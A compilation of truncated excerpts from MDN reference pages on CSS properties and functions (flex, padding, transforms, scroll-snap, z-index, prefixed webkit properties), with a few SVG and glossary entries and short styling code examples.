...iv, .content1 div, .content2 div { height: 50%; width: 300px; } .red { background: orangered; } .green { background: yellowgreen; } .blue { background: steelblue; } /* flexbox styles */ .content { display: flex; flex-wrap: wrap; } .content1 { display: flex; flex-wrap: nowrap; } .content2 { display: flex; flex-wrap: wrap-reverse; } results specifications specification status comment css flexible box layout modulethe definition of 'flex-wrap' in that specification.
... candidate recommendation ...
flex - CSS: Cascading Style Sheets
WebCSSflex
one-value syntax: the value must be one of: a <number>: in this case it is interpreted as flex: <number> 1 0; the <flex-shrink> value is assumed to be 1 and the <flex-basis> value is assumed to be 0.
...x-basis: autoapplies toflex items, including in-flow pseudo-elementsinheritednocomputed valueas each of the properties of the shorthand:flex-grow: as specifiedflex-shrink: as specifiedflex-basis: as specified, but with relative lengths converted into absolute lengthsanimation typeas each of the properties of the shorthand:flex-grow: a numberflex-shrink: a numberflex-basis: a length, percentage or calc(); formal syntax none | [ <'flex-grow'> <'flex-shrink'>?
..."block" : "none"; }); #flex-container { width: 100%; font-family: consolas, arial, sans-serif; } #flex-container > div { border: 1px solid #f00; padding: 1rem; } #flex-container > .raw-item { border: 1px solid #000; } result specifications specification status comment css flexible box layout modulethe definition of 'flex' in that specification.
... candidate recommendation initial definition ...
Initial value - CSS: Cascading Style Sheets
the initial value of a css property is its default value, as listed in its definition table in the specification.
... you can explicitly specify the initial value by using the initial keyword.
... specifications specification status comment css cascade 4 formal definition.
... css level 2 (revision 1)the definition of 'initial value' in that specification.
list-style-image - CSS: Cascading Style Sheets
because this property is inherited, it can be set on the parent element (normally <ol> or <ul>) to let it apply to all list items.
... syntax /* keyword values */ list-style-image: none; /* <url> values */ list-style-image: url('starsolid.gif'); /* global values */ list-style-image: inherit; list-style-image: initial; list-style-image: unset; values <url> location of image to use as the marker.
... formal definition initial valuenoneapplies tolist itemsinheritedyescomputed valuenone or the image with its uri made absoluteanimation typediscrete formal syntax <url> | none examples setting list item images html <ul> <li>item 1</li> <li>item 2</li> </ul> css ul { list-style-image: url("https://mdn.mozillademos.org/files/11981/starsolid.gif"); } result specifications specification status comment css lists module level 3the definition of 'list-style-image' in that specification.
... css level 2 (revision 1)the definition of 'list-style-image' in that specification.
list-style - CSS: Cascading Style Sheets
because this property is inherited, it can be set on a parent element (normally <ol> or <ul>) to make the same list styling apply to all the items inside.
... ul { list-style: none; } ul li::before { content: "\200b"; } voiceover and list-style-type: none – unfettered thoughts mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valueas each of the properties of the shorthand:list-style-type: disclist-style-position: outsidelist-style-image: noneapplies tolist itemsinheritedyescomputed valueas each of the properties of the shorthand:list-style-image: none or the image with its uri made absolutelis...
...ype'> | <'list-style-position'> | <'list-style-image'> examples setting list style type and position html list 1 <ul class="one"> <li>list item1</li> <li>list item2</li> <li>list item3</li> </ul> list 2 <ul class="two"> <li>list item a</li> <li>list item b</li> <li>list item c</li> </ul> css .one { list-style: circle; } .two { list-style: square inside; } result specifications specification status comment css lists module level 3the definition of 'list-style' in that specification.
... css level 2 (revision 1)the definition of 'list-style' in that specification.
mask-type - CSS: Cascading Style Sheets
WebCSSmask-type
values luminance is a keyword indicating that the associated mask image is a luminance mask, i.e., that its relative luminance values must be used when applying it.
... alpha is a keyword indicating that the associated mask image is an alpha mask, i.e., that its alpha channel values must be used when applying it.
... <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:luminance"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px; background-color: rgb(128, 128, 128); border: solid 1px black; mask: url("#m"); mask-type:luminance; } result specifications specification status comment css masking module level 1the definition of 'mask-type' in that specification.
... candidate recommendation initial definition.
max-inline-size - CSS: Cascading Style Sheets
the max-inline-size css property defines the horizontal or vertical maximum size of an element's block depending on its writing mode.
...if the writing mode is vertically oriented, the value of max-inline-size relates to the maximal height of the element, otherwise it relates to the maximal width of the element.
... formal definition initial value0applies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as max-width and max-heightanimation typea length, percentage or calc(); formal syntax <'max-width'> examples setting max inline size in pixels html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; block-size: 100%; max-inline-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'm...
...ax-inline-size' in that specification.
min-block-size - CSS: Cascading Style Sheets
the min-block-size css property defines the minimum horizontal or vertical size of an element's block, depending on its writing mode.
... syntax /* <length> values */ min-block-size: 100px; min-block-size: 5em; /* <percentage> values */ min-block-size: 10%; /* keyword values */ min-block-size: max-content; min-block-size: min-content; min-block-size: fit-content(20em); /* global values */ min-block-size: inherit; min-block-size: initial; min-block-size: unset; if the writing mode is vertically oriented, the value of min-block-size relates to the minimum width of the element; otherwise, it relates to the minimum height of the element.
... formal definition initial value0applies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as min-width and min-heightanimation typea length, percentage or calc(); formal syntax <'min-width'> examples setting minimum block size for vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; min-block-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'min-block-siz...
...e' in that specification.
min-inline-size - CSS: Cascading Style Sheets
the min-inline-size css property defines the horizontal or vertical minimal size of an element's block, depending on its writing mode.
... syntax /* <length> values */ min-inline-size: 100px; min-inline-size: 5em; /* <percentage> values */ min-inline-size: 10%; /* keyword values */ min-inline-size: max-content; min-inline-size: min-content; min-inline-size: fit-content(20em); /* global values */ min-inline-size: inherit; min-inline-size: initial; min-inline-size: unset; if the writing mode is vertically oriented, the value of min-inline-size relates to the minimum height of the element; otherwise, it relates to the minimum width of the element.
... formal definition initial value0applies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as min-width and min-heightanimation typea length, percentage or calc(); formal syntax <'min-width'> examples setting minimum inline size for vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; block-size: 5%; min-inline-size: 200px; } result specifications specification status comment css logical properties and values level 1the definit...
...ion of 'min-inline-size' in that specification.
orphans - CSS: Cascading Style Sheets
WebCSSorphans
(the paragraph continues on a following page.) syntax values <integer> the minimum number of lines that can stay by themselves at the bottom of a fragment before a fragmentation break.
...it has a little bit more text than the first one.</p> </div> css div { background-color: #8cffa0; height: 150px; columns: 3; orphans: 3; } p { background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css fragmentation module level 3the definition of 'orphans' in that specification.
... candidate recommendation extends orphans to apply to any type of fragment, including pages, regions, or columns.
... css level 2 (revision 1)the definition of 'orphans' in that specification.
outline-style - CSS: Cascading Style Sheets
groove the outline looks as though it were carved into the page.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | <'border-style'> examples setting outline style to auto the auto value indicates a custom outline style — typically a style [that] is either a user interface default for the platform, or perhaps a style that is richer than can be described in detail in css, e.g.
...le: ridge; } /* to make the demo clearer */ * { outline-width: 10px; padding: 15px; } result setting outline style to inset and outset html <div> <div class="inset"> <p class="outset">outline demo</p> </div> </div> css .inset { outline-style: inset; } .outset { outline-style: outset; } /* to make the demo clearer */ * { outline-width: 10px; padding: 15px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-style' in that specification.
... css level 2 (revision 1)the definition of 'outline-style' in that specification.
overflow-y - CSS: Cascading Style Sheets
hidden content is clipped if necessary to fit vertically in the padding box.
...if you wish to start a new formatting context, you can use display: flow-root to do so.
... scroll content is clipped if necessary to fit vertically in the padding box.
... </div> </li> </ul> css #div1, #div2, #div3, #div4 { border: 1px solid black; width: 250px; height: 100px; } #div1 { overflow-y: hidden; margin-bottom: 12px;} #div2 { overflow-y: scroll; margin-bottom: 12px;} #div3 { overflow-y: visible; margin-bottom: 120px;} #div4 { overflow-y: auto; margin-bottom: 120px;} result specifications specification status comment css overflow module level 3the definition of 'overflow-y' in that specification.
padding-bottom - CSS: Cascading Style Sheets
note: the padding property can be used to set paddings on all four sides of an element with a single declaration.
...it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting padding bottom with pixels and percentages .content { padding-bottom: 5%; } .sidebox { padding-bottom: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-bottom' in that specification.
... css level 2 (revision 1)the definition of 'padding-bottom' in that specification.
... css level 1the definition of 'padding-bottom' in that specification.
padding-left - CSS: Cascading Style Sheets
note: the padding property can be used to set paddings on all four sides of an element with a single declaration.
...it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting left padding using pixels and percentages .content { padding-left: 5%; } .sidebox { padding-left: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-left' in that specification.
... css level 2 (revision 1)the definition of 'padding-left' in that specification.
... css level 1the definition of 'padding-left' in that specification.
padding-right - CSS: Cascading Style Sheets
note: the padding property can be used to set paddings on all four sides of an element with a single declaration.
...it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting right padding using pixels and percentages .content { padding-right: 5%; } .sidebox { padding-right: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-right' in that specification.
... css level 2 (revision 1)the definition of 'padding-right' in that specification.
... css level 1the definition of 'padding-right' in that specification.
padding-top - CSS: Cascading Style Sheets
note: the padding property can be used to set paddings on all four sides of an element with a single declaration.
...it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting top padding using pixels and percentages .content { padding-top: 5%; } .sidebox { padding-top: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-top' in that specification.
... css level 2 (revision 1)the definition of 'padding-top' in that specification.
... css level 1the definition of 'padding-top' in that specification.
padding - CSS: Cascading Style Sheets
WebCSSpadding
constituent properties this property is a shorthand for the following css properties: padding-bottom padding-left padding-right padding-top syntax /* apply to all four sides */ padding: 1em; /* vertical | horizontal */ padding: 5% 10%; /* top | horizontal | bottom */ padding: 1em 2em 2em; /* top | right | bottom | left */ padding: 5px 1em 0 2em; /* global values */ padding: inherit; padding: initial; padding: unset; the padding property may be specified using one, two, three, or four values.
...px; /* top: 10px padding */ /* left and right: 3% padding */ /* bottom: 20px padding */ padding: 1em 3px 30px 5px; /* top: 1em padding */ /* right: 3px padding */ /* bottom: 30px padding */ /* left: 5px padding */ specifications specification status comment css basic box modelthe definition of 'padding' in that specification.
... css level 2 (revision 1)the definition of 'padding' in that specification.
... css level 1the definition of 'padding' in that specification.
paint-order - CSS: Cascading Style Sheets
note: in the case of this property, markers are only appropriate when drawing svg shapes involving the use of the marker-* properties (e.g.
...they do not apply to html text, so in that case, you can only determine the order of stroke and fill.
...e and fill svg <svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"> <text x="10" y="75">stroke in front</text> <text x="10" y="150" class="stroke-behind">stroke behind</text> </svg> css text { font-family: sans-serif; font-size: 50px; font-weight: bold; fill: black; stroke: red; stroke-width: 4px; } .stroke-behind { paint-order: stroke fill; } result specifications specification status comment scalable vector graphics (svg) 2the definition of 'paint-order' in that specification.
... candidate recommendation initial definition.
place-self - CSS: Cascading Style Sheets
initially the grid container has justify-items and align-items values of stretch — the defaults — which causes the grid items to stretch across the entire width of their cells.
...these values cause the grid items to span only as wide/tall as their content width/height, and align in different positions across their cells, in the block and inline directions.
... html <article class="container"> <span>first</span> <span>second</span> <span>third</span> <span>fourth</span> </article> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; } article { background-color: red; display: grid; grid-template-columns: 1fr 1fr; grid-auto-rows: 80px; grid-gap: 10px; width: 300px; } span:nth-child(2) { place-self: start center; } span:nth-child(3) { place-self: center start; } span:nth-child(4) { place-self: end; } article span { background-color: black; color: white; margin: 1px; text-align: center; } article, span { padding: 10px; border-radius: 7px; } article { margin: 20px; } result specifications specification status comment css box alignment module l...
...evel 3the definition of 'place-self' in that specification.
scroll-margin-inline - CSS: Cascading Style Sheets
0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
... note: here we are setting scroll-margin on the start and end of the inline axis (x in our case), but only the end edge is really relevant.
... result try it for yourself: specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-inline' in that specification.
... candidate recommendation initial definition ...
scroll-margin - CSS: Cascading Style Sheets
description you can see the effect of scroll-margin by scrolling to a point partway between two of the "pages" of the example's content.
...250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap points.
... result try it for yourself: specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin' in that specification.
... candidate recommendation initial definition ...
scroll-snap-type - CSS: Cascading Style Sheets
the scroll-snap-type css property sets how strictly snap points are enforced on the scroll container in case there is one.
... y the scroll container snaps to snap positions in its vertical axis only.
...; width: 100%; height: 128px; } .y.container > div { line-height: 256px; font-size: 128px; width: 256px; height: 100%; } /* appearance fixes */ .y.container > div:first-child { line-height: 1.3; font-size: 64px; } /* coloration */ .container > div:nth-child(even) { background-color: #87ea87; } .container > div:nth-child(odd) { background-color: #87ccea; } results specifications specification status comment css scroll snap module level 1the definition of 'scroll-snap-type' in that specification.
... candidate recommendation initial definition ...
symbols() - CSS: Cascading Style Sheets
WebCSSsymbols
unlike @counter-style, symbols() is anonymous (i.e., it can only be used once).
...[ <string> | <image> ]+ ); <symbols-type> can be one of the following: cyclic: the system cycles through the given values in the order of their definition, and returns to the start when it reaches the end.
... examples html <ol> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ol> css ol { list-style: symbols(cyclic "*" "†" "‡"); } result specifications specification status comment css counter styles level 3the definition of 'symbols()' in that specification.
... candidate recommendation initial defintion.
text-decoration-thickness - CSS: Cascading Style Sheets
a percentage inherits as a relative value, and so therefore scales with changes in the font.
...for a given application of this property, the thickness is constant across the whole box it is applied to, even if there are child elements with a different font size.
... the equivalent shorthand.</p> css .thin { text-decoration-line: underline; text-decoration-style: solid; text-decoration-color: red; text-decoration-thickness: 1px; } .thick { text-decoration-line: underline; text-decoration-style: solid; text-decoration-color: red; text-decoration-thickness: 5px; } .shorthand { text-decoration: underline solid red 5px; } results specifications specification status comment css text decoration module level 4the definition of 'text-decoration-width' in that specification.
... note: the property used to be called text-decoration-width, but was updated in 2019 to text-decoration-thickness.
text-emphasis-color - CSS: Cascading Style Sheets
this value can also be set using the text-emphasis shorthand.
... formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples emphasis with a color and custom character css em { text-emphasis-color: green; text-emphasis-style: "*"; } html <p>here's an example:</p> <em>this has emphasis marks!</em> result specifications specification status comment css text decoration module level 3the definition of 'text-emphasis' in that specification.
... candidate recommendation initial definition ...
text-emphasis-style - CSS: Cascading Style Sheets
it can also be set, and reset, using the text-emphasis shorthand.
...the ua may truncate or ignore strings consisting of more than one grapheme cluster.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | [ [ filled | open ] | [ dot | circle | double-circle | triangle | sesame ] ] | <string> examples h2 { text-emphasis-style: sesame; } specifications specification status comment css text decoration module level 3the definition of 'text-emphasis' in that specification.
... candidate recommendation initial definition ...
text-indent - CSS: Cascading Style Sheets
formal definition initial value0applies toblock containersinheritedyespercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute length, plus any keywords as specifiedanimation typea length, percentage or calc(); formal syntax <length-percentage> && hanging?
...age indent html <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> css p { text-indent: 30%; background: plum; } result specifications specification status comment css text module level 3the definition of 'text-indent' in that specification.
... css level 2 (revision 1)the definition of 'text-indent' in that specification.
... css level 1the definition of 'text-indent' in that specification.
rotate3d() - CSS: Cascading Style Sheets
a non-normalizable vector, such as the null vector, [0, 0, 0], will cause the rotation to be ignored, but without invaliding the whole css property.
... cartesian coordinates on ℝ2 this transformation applies to the 3d space and can't be represented on the plane.
... homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 1+(1-cos(a))(x2-1)z·sin(a)+xy(1-cos(a))-y·sin(a)+xz·(1-cos(a))-z·sin(a)+xy·(1-cos(a))1+(1-cos(a))(y2-1)x·sin(a)+yz·(1-cos(a))ysin(a) + xz(1-cos(a))-xsin(a)+yz(1-cos(a))1+(1-cos(a))(z2-1)t0001 homogeneous coordinates on ℝℙ3 examples rotating on the y-axis html <div>normal</div> <div class="rotated">rotated</div> css body { perspective: 800px; } div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotate3d(0, 1, 0, 60deg); background-color: pink; } result rotating on a custom axis html <div>normal</div> <div class="rotated">rotated</div> css body { perspective: 800px; } div { width: 80px; height: 80px; backgr...
...ound-color: skyblue; } .rotated { transform: rotate3d(1, 2, -1, 192deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotate3d()' in that specification.
skewY() - CSS: Cascading Style Sheets
the skewy() css function defines a transformation that skews an element in the vertical direction on the 2d plane.
... this transformation is a shear mapping (transvection) that distorts each point within an element by a certain angle in the vertical direction.
... cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 10tan(a)1 100tan(a)10001 100tan(a)10001 1000tan(a)10000100001 [1 tan(a) 0 1 0 0] examples html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skewy(40deg); bac...
...kground-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skewy()' in that specification.
translate() - CSS: Cascading Style Sheets
the translate() css function repositions an element in the horizontal and/or vertical directions.
...the ordinate (vertical, y-coordinate) of the translating vector will be set to 0.
... cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 a translation is not a linear transformation in ℝ2 and can't be represented using a cartesian-coordinate matrix.
...sform: translate(10px); /* equal to: translatex(10px) or translate(10px, 0) */ background-color: pink; } result combining y-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translate(10px, 10px); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translate()' in that specification.
translate3d() - CSS: Cascading Style Sheets
it can't be a <percentage> value; in that case the property containing the transform is considered invalid.
... cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 this transformation applies to the 3d space and can't be represented on the plane.
... a translation is not a linear transformation in ℝ3 and can't be represented using a cartesian-coordinate matrix.
...nsform: perspective(500px) translate3d(10px, 0, 0px); background-color: pink; } result combining z-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: perspective(500px) translate3d(10px, 0, 100px); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'translate3d()' in that specification.
translateZ() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 this transformation applies to the 3d space and can't be represented on the plane.
... a translation is not a linear transformation in ℝ3 and can't be represented using a cartesian-coordinate matrix.
...a value of 500px means the user is 500 pixels "in front of" the imagery located at z=0.
... result specifications specification status comment css transforms level 2the definition of 'transform' in that specification.
transform-style - CSS: Cascading Style Sheets
syntax /* keyword values */ transform-style: flat; transform-style: preserve-3d; /* global values */ transform-style: inherit; transform-style: initial; transform-style: unset; values flat indicates that the children of the element are lying in the plane of the element itself.
... preserve-3d indicates that the children of the element should be positioned in the 3d-space.
...the parent container of the cube faces has transform-style: preserve-3d set on it by default, so it is transformed in the 3d space and you can see it as intended.
... background: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50px); } javascript const cube = document.getelementbyid('example-element'); const checkbox = document.getelementbyid('preserve'); checkbox.addeventlistener('change', () => { if(checkbox.checked) { cube.style.transformstyle = 'preserve-3d'; } else { cube.style.transformstyle = 'flat'; } }) result specifications specification status comment css transforms level 2the definition of 'transform-style' in that specification.
transition-duration - CSS: Cascading Style Sheets
if there are more durations, the list is simply truncated to the right size.
... in both case the css declaration stays valid.
...a time of 0s indicates that no transition will happen, that is the switch between the two states will be instantaneous.
...orm -webkit-transform color; transition-duration:4s; transition-timing-function: ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); specifications specification status comment css transitionsthe definition of 'transition-duration' in that specification.
white-space - CSS: Cascading Style Sheets
break-spaces the behavior is identical to that of pre-wrap, except that: any sequence of preserved white space always takes up space, including at the end of the line.
... excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p> </div> .box { width: 300px; padding: 16px; border-radius: 10px; } #css-code { background-color: rgb(220, 220, 220); font-size: 16px; font-family: monospace; } #css-code select { font-family: inherit; } #results { background-color: rgb(230, 230, 230); overflow-x: scroll; height: 4...
...excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p> result specifications specification status comment css text module level 3the definition of 'white-space' in that specification.
... css level 2 (revision 1)the definition of 'white-space' in that specification.
z-index - CSS: Cascading Style Sheets
WebCSSz-index
whether the box establishes a local stacking context.
... values auto the box does not establish a new local stacking context.
...the box also establishes a local stacking context in which its stack level is 0.
...om: 1em; margin-top: 2em; } .gold-box { position: absolute; z-index: 3; /* put .gold-box above .green-box and .dashed-box */ background: gold; width: 80%; left: 60px; top: 3em; } .green-box { position: absolute; z-index: 2; /* put .green-box above .dashed-box */ background: lightgreen; width: 20%; left: 65%; top: -25px; height: 7em; opacity: 0.9; } result specifications specification status comment css level 2 (revision 1)the definition of 'z-index' in that specification.
zoom - CSS: Cascading Style Sheets
WebCSSzoom
the non-standard zoom css property can be used to control the magnification level of an element.
... transform: scale() should be used instead of this property, if possible.
... class="big">big</p> css p.small { zoom: 75%; } p.normal { zoom: normal; } p.big { zoom: 2.5; } p { display: inline-block; } p:hover { zoom: reset; } result second example html <div id="a" class="circle"></div> <div id="b" class="circle"></div> <div id="c" class="circle"></div> css div.circle { width: 25px; height: 25px; border-radius: 100%; text-align: center; vertical-align: middle; display: inline-block; zoom: 1.5; } div#a { background-color: gold; zoom: normal; } div#b { background-color: green; zoom: 200%; } div#c { background-color: blue; zoom: 2.9; } result specifications not part of any standard.
...rossen atanassov of microsoft has an unofficial draft specification proposal on github.
local - SVG: Scalable Vector Graphics
WebSVGAttributelocal
the local attribute specifies the unique id for a locally stored color profile as specified by international color consortium.
... if both the xlink:href and the local attribute are specified, then the local file system is searched for the color profile first, and, if not available locally, then the resource identified by the xlink:href attribute is used.
... only one element is using this attribute: <color-profile> usage notes value <string> default value none animatable no <string> this value specifies the unique id for a locally stored color profile as specified by international color consortium.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'local' in that specification.
<feFuncA> - SVG: Scalable Vector Graphics
WebSVGElementfeFuncA
the <fefunca> svg filter primitive defines the transfer function for the alpha component of the input graphic of its parent <fecomponenttransfer> element.
... usage context categoriesnonepermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes transfer function attributes specific attributes none dom interface this element implements the svgfefuncaelement interface.
... specifications specification status comment filter effects module level 1the definition of '<fefunca>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fefunca>' in that specification.
Canonical order - MDN Web Docs Glossary: Definitions of Web-related terms
in css, canonical order is used to refer to the order in which separate values need to be specified (or parsed) or are to be serialized as part of a css property value.
...the canonical order of those longhand values is defined as background-image background-position background-size background-repeat background-attachment background-origin background-clip background-color furthermore, its syntax defines, that if a value for the background-size is given, it must be specified after the value for the background-position, separated by a slash.
... learn more what does “canonical order” mean with respect to css properties?
nsIApplicationCacheContainer
netwerk/base/public/nsiapplicationcachecontainer.idlscriptable this interface is used by objects that can be associated with an application cache.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) attributes attribute type description applicationcache nsiapplicationcache the application cache with which the object is associated.
... see also offline resources in firefox nsiapplicationcache nsiapplicationcachechannel nsiapplicationcacheservice nsiapplicationcachenamespace nsidomofflineresourcelist ...
-moz-image-rect - CSS: Cascading Style Sheets
however, this can be used for any css background.
...clicking on their container causes the four segments to rotate around by swapping the background-image property values among the four <div> blocks.
... what it looks like specifications not part of any standard.
-webkit-mask-composite - CSS: Cascading Style Sheets
this causes the source mask image to have no effect.
...this causes the destination mask image to have no effect.
...valueas specifiedanimation typediscrete formal syntax <composite-style>#where <composite-style> = clear | copy | source-over | source-in | source-out | source-atop | destination-over | destination-in | destination-out | destination-atop | xor examples compositing with xor .example { -webkit-mask-image: url(mask1.png), url('mask2.png'); -webkit-mask-composite: xor, source-over; } specifications not part of any standard.
-webkit-mask-position-x - CSS: Cascading Style Sheets
kit-mask-position-x: 50px, 25%, -3em; /* global values */ -webkit-mask-position-x: inherit; -webkit-mask-position-x: initial; -webkit-mask-position-x: unset; initial value0%applies toall elementsinheritednopercentagesrefer to the size of the box itselfcomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete syntax values <length-percentage> a length indicating the position of the left edge of the image relative to the box's left padding edge.
... percentages are calculated against the horizontal dimension of the box padding area.
...value, otherwise a percentageanimation typediscrete formal syntax [ <length-percentage> | left | center | right ]#where <length-percentage> = <length> | <percentage> examples horizontally positioning a mask image .exampleone { -webkit-mask-image: url(mask.png); -webkit-mask-position-x: right; } .exampletwo { -webkit-mask-image: url(mask.png); -webkit-mask-position-x: 25%; } specifications not part of any standard.
-webkit-tap-highlight-color - CSS: Cascading Style Sheets
the highlighting indicates to the user that their tap is being successfully recognized, and indicates which element they're tapping on.
... formal definition initial valueblackapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> specifications not part of any standard.
-webkit-text-stroke-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritedyescomputed valuecomputed coloranimation typea color formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples varying the stroke color html <p>text with stroke</p> <input type="color" value="#ff0000"> css p { margin: 0; font-size: 4em; -webkit-text-stroke-width: 3px; -webkit-text-stroke-color: #ff0000; /* can be changed in the live sample */ } javascript var colorpicker = document.queryselector("input"); colorpicker.addeventlistener("change", function(evt) { document.queryselector("p").style.webkittextstrokecolor = evt.target.value; }); results specifications specification status comment compatibility standardthe definition of '-webkit-text-stroke-color' in tha...
...t specification.
:-moz-last-node - CSS: Cascading Style Sheets
it differs from :last-child because it does not match a last-child element with (non-whitespace) text after it.
... syntax :-moz-last-node examples css span:-moz-last-node { background-color: lime; } html <p> <span>this does not match.</span> <span>this matches!</span> </p> <p> <span>this doesn't match because it's followed by text.</span> blahblah.
... </p> result specifications not part of any standard.
::-webkit-scrollbar - CSS: Cascading Style Sheets
css scrollbar selectors you can use the following pseudo elements to customize various parts of the scrollbar for webkit browsers: ::-webkit-scrollbar — the entire scrollbar.
... ::-webkit-scrollbar-corner — the bottom corner of the scrollbar, where both horizontal and vertical scrollbars meet.
...</div> specifications not part of any standard.
::backdrop - CSS: Cascading Style Sheets
the ::backdrop pseudo-element makes it possible to obscure, style, or completely hide everything located below the element when it's the topmost one in the top layer.
... you can see this example in action or view or remix the code on glitch.
... specifications specification status comment fullscreen apithe definition of '::backdrop' in that specification.
::cue-region - CSS: Cascading Style Sheets
this can be used to style captions and other cues in media with vtt tracks.
... background-repeat background-size color font font-family font-size font-stretch font-style font-variant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position text-combine-upright text-decoration text-decoration-color text-decoration-line text-decoration-style text-decoration-thickness text-shadow visibility white-space specifications specification status comment webvtt: the web video text tracks formatthe definition of 'the ::cue-region pseudo-element' in that specification.
... candidate recommendation initial definition.
::cue - CSS: Cascading Style Sheets
WebCSS::cue
this can be used to style captions and other cues in media with vtt tracks.
